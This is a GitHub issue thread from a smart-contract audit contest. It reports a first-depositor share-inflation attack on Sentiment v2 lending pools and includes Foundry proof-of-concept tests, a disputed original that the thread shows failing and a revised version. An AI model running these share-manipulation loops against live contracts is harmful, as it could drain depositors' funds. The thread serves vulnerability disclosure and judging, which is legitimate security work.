sherlock-audit / 2024-08-sentiment-v2-judging

1 stars 0 forks source link

goluu - The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol #481

Open sherlock-admin3 opened 1 month ago

sherlock-admin3 commented 1 month ago

goluu

High

The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

Summary

Empty pools' assets have been drained by the first depositor via inflating share prices.

Vulnerability Detail

 function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000e18);
    asset1.approve(address(pool), assets);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);

    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);

    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = i ** 2 + 1;
        pool.deposit(linearRatePool, amount , user);

        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");

    }

Impact

The first depositor loses their funds as the attacker manipulates the share price to drain the pool's assets.

Code Snippet

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol#L275

Recommendation

Implement virtual shares or another mechanism to prevent rounding errors and price manipulation, especially when the pool is empty or has a very low total supply.

S3v3ru5 commented 1 week ago

Is it possible to get an estimate of value lost for the first depositor?

For every iteration, the totalAssets:totalShares ratio increases by 1.

after 1 iteration: 1 share = 2 wei after 2nd iteration: 1 share = 3 wei ... after 80 iterations: 1 share = 80 wei

So if the first depositor deposits less than 80 wei then shares minted are 0 and they lose the entire < 80 wei? If the value is greater than 80 wei then some shares will be minted, then value lost for rounding is also < 80 wei.

0xdeth commented 1 week ago

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

sherlock-admin3 commented 1 week ago

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xjuaan commented 1 week ago

Also the attack path in this issue is wrong, PoC fails since it tries to mint 0 shares:

Failing tests:
Encountered 1 failing test in test/core/Pool.t.sol:PoolUnitTests
[FAIL: Pool_ZeroSharesDeposit(76185170914664034982717614324376362661771448584651785366001810948719059386837 [7.618e76], 1)] testfirstdepositor() (gas: 430308)

Encountered a total of 1 failing tests, 0 tests succeeded

A correct vault inflation exploiting the rounding direction with high impact is shown in #90

g01u commented 4 days ago
function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000_000_000e18);
    asset1.approve(address(pool), type(uint256).max);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);

    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);

    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = 2 ** i + 1;
        pool.deposit(linearRatePool, amount , user);

        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");
        console.log("TotalAssets: ", totalDepositAssets);
        console.log("TotalShares: ", totalDepositShares);
    }

   }
0xjuaan commented 4 days ago

The original report is incorrect in 2 places:

  1. Inflation Attack: The attacker repeatedly deposits and withdraws (total assets - 1) in the pool more than 80 times in a loop, leading to an inflated share price.

Depositing totalAssets - 1 is incorrect, because it would lead to minting 0 shares, which reverts.

  1. The PoC is incorrect due to depositing the wrong amount (unrelated to 1.), so it reverts.

I don't think such a report can be considered valid

g01u commented 4 days ago
  1. As mentioned above that is just a typo, I used uint256 amount = i ** 2 + 1; instead of uint256 amount = 2 ** i + 1;

detail explanation:

I also added that please check this you get an idea: https://www.diffchecker.com/srri9a9R/